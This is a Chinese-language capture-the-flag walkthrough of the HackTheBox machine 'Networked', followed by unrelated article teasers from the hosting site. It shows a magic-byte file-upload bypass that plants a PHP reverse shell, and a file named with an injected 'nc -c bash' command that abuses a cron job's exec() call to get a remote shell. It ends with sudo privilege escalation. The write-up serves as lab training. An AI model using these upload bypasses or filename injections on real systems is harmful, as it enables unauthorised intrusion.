Linux/Networked

news2024/11/28 23:12:27

Enumeration

nmap

网站更新之后有了一个引导模式,更利于学习了,之前看ippsec的视频,要不总是没有思路,现在出现的问题多了提示也更多了,还没有使用,一会用用再说

首先,第一个问题是“目标上正在运行哪个版本的 Apache?”

所以先使用nmap快速扫描一下端口,看看有什么发现,发现对外开放了22和80,然后扫描对应端口的详细信息

所以第一个问题就很好回答了,快速回答,然后拿到下一个题目“网络服务器上包含备份文件的目录的相对路径是什么?”

包含备份文件的目录?dirsearch扫描一下看看结果

​
dirsearch -u http://10.10.10.146

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/10.10.10.146/_23-09-12_07-13-32.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-09-12_07-13-32.log

Target: http://10.10.10.146/

[07:13:33] Starting:

[07:13:47] 403 - 213B - /.ht_wsr.txt

[07:13:47] 403 - 216B - /.htaccess.bak1

……

……

[07:17:07] 301 - 235B - /backup -> http://10.10.10.146/backup/

[07:17:08] 200 - 885B - /backup/

[07:17:13] 403 - 210B - /cgi-bin/

[07:17:39] 200 - 229B - /index.php

[07:17:39] 200 - 229B - /index.php/login/

[07:17:58] 200 - 1KB - /photos.php

[07:18:26] 200 - 169B - /upload.php

[07:18:26] 301 - 236B - /uploads -> http://10.10.10.146/uploads/

[07:18:26] 200 - 2B - /uploads/

​

看到扫描结果中就有这一题的答案

“阅读lib.php的源代码后,我们发现可以通过上传功能上传JPG、GIF、JPEG和其他一种扩展名。另一个扩展是什么?”

把backup.tar下载下来后,里面就有lib.php

Exploitation

file upload

但是在lib.php中并没有看到相关代码,而题目提示了上传,打开upload.php发现其中包含了lib.php,在其中也看到了另一种被允许的文件格式

第四个任务是“MIME 类型可防止网站上传功能上传实际上不是声明的文件类型的文件。魔术字节用于通过将字节附加到有效负载文件来绕过此问题。PNG 格式的前八个魔法字节是什么?(以 16 个十六进制字符的形式给出您的答案)”

这个答案可以直接去搜索现成的答案

既然提到了这个,说不定一会就会有其他用处,下一个“在 Linux 操作系统上,用户可以安排任务在所需的时间段运行。Linux 中默认的任务调度程序是什么?”

下一个问题已经到了linux系统里面了,看来该上传文件了,在/upload.php下看到一个简易的上传表单

所以按照刚才的提示,他应该是要检查png的mine magic number,先上传一张真的图片,上传成功后可以再photos.php中看到

可以上传文件,尝试上传一个反弹shell,使用16进制编辑器把文件打开,在shell前加上png的magic number,然后保存

在上传页面上传该文件,利用burpsuite修改文件名为shell.php.png,成功上传

上传成功后访问该图片连接,然后看到下面的话,看起来好像有点意思

在kali中开启监听,然后再次访问上传文件的链接,成功拿到apache的shell

Lateral Movement

可以看到在guly下有user.txt,但是我们没法打开,根据问题的提示,有可能guly的shell获取与cron有关

打开crontab.guly文件,发现在特定情况下,会执行check_attack.php文件

check_attack.php文件如下,脚本获取 /var/www/html/uploads 目录中的文件,然后运行lib.php ,getnameCheck函数检查文件名,如果不是有效的ip地址,会执行下面attack部分的代码,exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");代码会将其删除,但是如果拼接指令可以滥用

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>

在uploads目录下新建下面的文件,在kali中开启监听

touch '; nc -c bash 10.10.14.5 1234'

; 会停止rm -f,然后执行后面的nc -e /bin/bash 10.10.14.5 1234,等待定时任务执行后即可获得shell

然后就能拿到user的flag

Privilege Escalation

根据题目的提示“What is the name of the script that guly can run as root without a password?”

获取一个简单的交互式shell后,直接使用sudo -l看看能干什么

打开changename.sh脚本,看起来是要输入一些东西,判断之后进行处理

运行该脚本,来来回回输入好几次后,发现在字符串后跟上/bin/bash就能得到root的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1392336.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2 python快速上手

2 python快速上手 快速上手1.编码&#xff08;密码本&#xff09;2.编程初体验3.输出4. 初识数据类型4.1 整形&#xff08;int&#xff09;4.2 字符串&#xff08;str&#xff09;4.3 布尔类型&#xff08;bool&#xff09;4.4 类型转换 5. 变量5.1 变量名的规范5.2 变量内存指…

项目架构之Zabbix部署

1 项目架构 1.1 项目架构的组成 业务架构&#xff1a;客户端 → 防火墙 → 负载均衡&#xff08;四层、七层&#xff09; → web缓存/应用 → 业务逻辑&#xff08;动态应用&#xff09; → 数据缓存 → 数据持久层 运维架构&#xff1a;运维客户端 → 跳板机/堡垒机&#x…

探索Python数据结构与算法:解锁编程的无限可能

文章目录 一、引言1.1 数据结构与算法对于编程的重要性1.2 Python作为实现数据结构与算法的强大工具 二、列表和元组2.1 列表&#xff1a;创建列表、索引、切片和常用操作2.2 元组&#xff1a;不可变序列的特性和使用场景 三、字符串操作和正则表达式3.1 字符串的常见操作和方法…

本地运行LlaMA 2的简易指南

大家好&#xff0c;像LLaMA 2这样的新开源模型已经变得相当先进&#xff0c;并且可以免费使用。可以在商业上使用它们&#xff0c;也可以根据自己的数据进行微调&#xff0c;以开发专业版本。凭借其易用性&#xff0c;现在可以在自己的设备上本地运行它们。 本文将介绍如何下载…

0003.为什么有的电流表需要使用分流器?

以下两款电流表&#xff0c;你仔细看能有什么发现&#xff1f; 除了量程一个是20A&#xff0c;一个是30A&#xff0c;还有什么区别&#xff1f; 仔细观察你会发现30A的电流表上还有一个20A电流表没有的参数75mV. 是的&#xff0c;这就是他们之间最大的差距。 要测量一…

HTML--基本结构构成

基本结构&#xff1a; 文档声明: <!DOCTYPE html> htm标签对 :<html> </html> head标签对&#xff1a; <head> </head> body标签对&#xff1a;<body> </body> 如下结构&#xff1a; <html> <head> <title>这是一…

修改iview的表格table展开的默认icon和样式

修改前 修改后 修改内容 .title_label_list .ivu-icon-ios-add{font-size: 26px;color: #888888; } .title_label_list .ivu-icon-ios-add:hover{color: #11AAAA; } .title_label_list .ivu-icon-ios-add:before {content: "\F341"; } .title_label_list .ivu-icon-…

JVM工作原理与实战(十八):运行时数据区-堆

专栏导航 JVM工作原理与实战 RabbitMQ入门指南 从零开始了解大数据 目录 专栏导航 前言 一、运行时数据区 二、堆 1.堆介绍 2.关键参数 总结 前言 ​JVM作为Java程序的运行环境&#xff0c;其负责解释和执行字节码&#xff0c;管理内存&#xff0c;确保安全&#xff0c…

Qt/QML编程之路:小键盘keyboard(36)

小键盘对于qml应用是经常用到的,在qml里面,就如一个fileDialog也要自己画一样,小键盘keyboard也是要自己画的,对于相应的每个按键的clicked都要一一实现的。 这里有一个示例: 代码如下: import QtQuick 2.5 import QtQuick.Controls 1.4 import QtQuick.Window 2.0 im…

【刷题】 leetcode 2 .两数相加

两数相加 两数相加1 思路一 &#xff08;暴毙版&#xff09;2 思路二 &#xff08;本质出发&#xff09; 谢谢阅读Thanks♪(&#xff65;ω&#xff65;)&#xff89;下一篇文章见&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 两数相加 我们来看…

DQN、Double DQN、Dueling DQN、Per DQN、NoisyDQN 学习笔记

文章目录 DQN (Deep Q-Network)说明伪代码应用范围 Double DQN说明伪代码应用范围 Dueling DQN实现原理应用范围伪代码 Per DQN (Prioritized Experience Replay DQN)应用范围伪代码 NoisyDQN伪代码应用范围 部分内容与图片摘自&#xff1a;JoyRL 、 EasyRL DQN (Deep Q-Networ…

Queue详解(Java)

Queue详解 Java 中的队列&#xff08;Queue&#xff09;是一种数据结构&#xff0c;它遵循先进先出&#xff08;FIFO&#xff09;的原则。队列可以用于在一个集合中保存一组元素&#xff0c;并支持在队列的尾部添加元素&#xff0c;以及在队列的头部移除元素。 Java 标准库提…

CleanMyMac X .4.14.7如何清理 Mac 系统?

细心的用户发现苹果Mac电脑越用越慢&#xff0c;其实这种情况是正常的&#xff0c;mac电脑用久了会产生很多的缓存文件&#xff0c;如果不及时清理会影响运行速度。Mac系统在使用过程中都会产生大量系统垃圾&#xff0c;如不需要的系统语言安装包&#xff0c;视频网站缓存文件&…

Spring全家桶

官网 Spring | Home 一、市面上主流的Spring框架以及简介 Spring Framework&#xff1a;Spring Framework是最基础、最核心的Spring框架&#xff0c;提供了IoC&#xff08;控制反转&#xff09;和AOP&#xff08;面向切面编程&#xff09;等功能。它是其他Spring项目的基础&am…

统计学-R语言-5.2

文章目录 前言大数定理中心极限定理和抽样分布抽样分布样本均值的分布样本比例的分布练习 前言 本篇文章将继续上篇的进行介绍。 大数定理 大数定理大数定理”的另一种表达方式是“均值定理”&#xff0c;其含义是&#xff0c;随机变量X多个观察值的均值会随着观察值的增加越…

探索 Python:发现有趣的库——第 1 章:数据可视化之旅

在一个充满活力的科技世界中&#xff0c;数据分析专家“算法仙”和编程爱好者“代码侠”相遇了&#xff0c;决定一起踏上数据可视化的探险之旅。他们将运用 Matplotlib 和 Seaborn 这两个强大的 Python 库&#xff0c;将枯燥的数据转化为生动的图形。 算法仙&#xff1a;你好&…

【部署LLaMa到自己的Linux服务器】

部署LLaMa到自己的Linux服务器 1、Llama2 项目获取方法1&#xff1a;有git可以直接克隆到本地方法2&#xff1a;直接下载 2、LLama2 项目部署3、申请Llama2许可4、下载模型权重5、运行 1、Llama2 项目获取 方法1&#xff1a;有git可以直接克隆到本地 创建一个空文件夹然后鼠标…

vscode无法自动补全

前提&#xff1a;安装c/c插件 c/c插件功能非常强大&#xff0c;几乎能满足日常编码过程中常用的功能&#xff1b;因此也包含自动补全的功能&#xff0c;开启方法如下&#xff1a; 文件->首选项->设置&#xff1a; 扩展->c/c->Intellisense&#xff0c;找到Intell…

docker-compose和docker compose的区别

在docker实际使用中&#xff0c;经常会搭配Compose&#xff0c;用来定义和运行多个 Docker 容器。使用时会发现&#xff0c;有时候的指令是docker-compose&#xff0c;有时候是docker compose&#xff0c;下面给出解释。 docker官方文档&#xff1a;https://docs.docker.com/c…

go语言(四)----指针

1、指针的示意图 package mainimport "fmt"func swap(pa *int,pb *int) {var temp inttemp *pa*pa *pb*pb temp}func main() {var a int 10var b int 20swap(&a,&b)fmt.Println("a ",a,"b ",b)}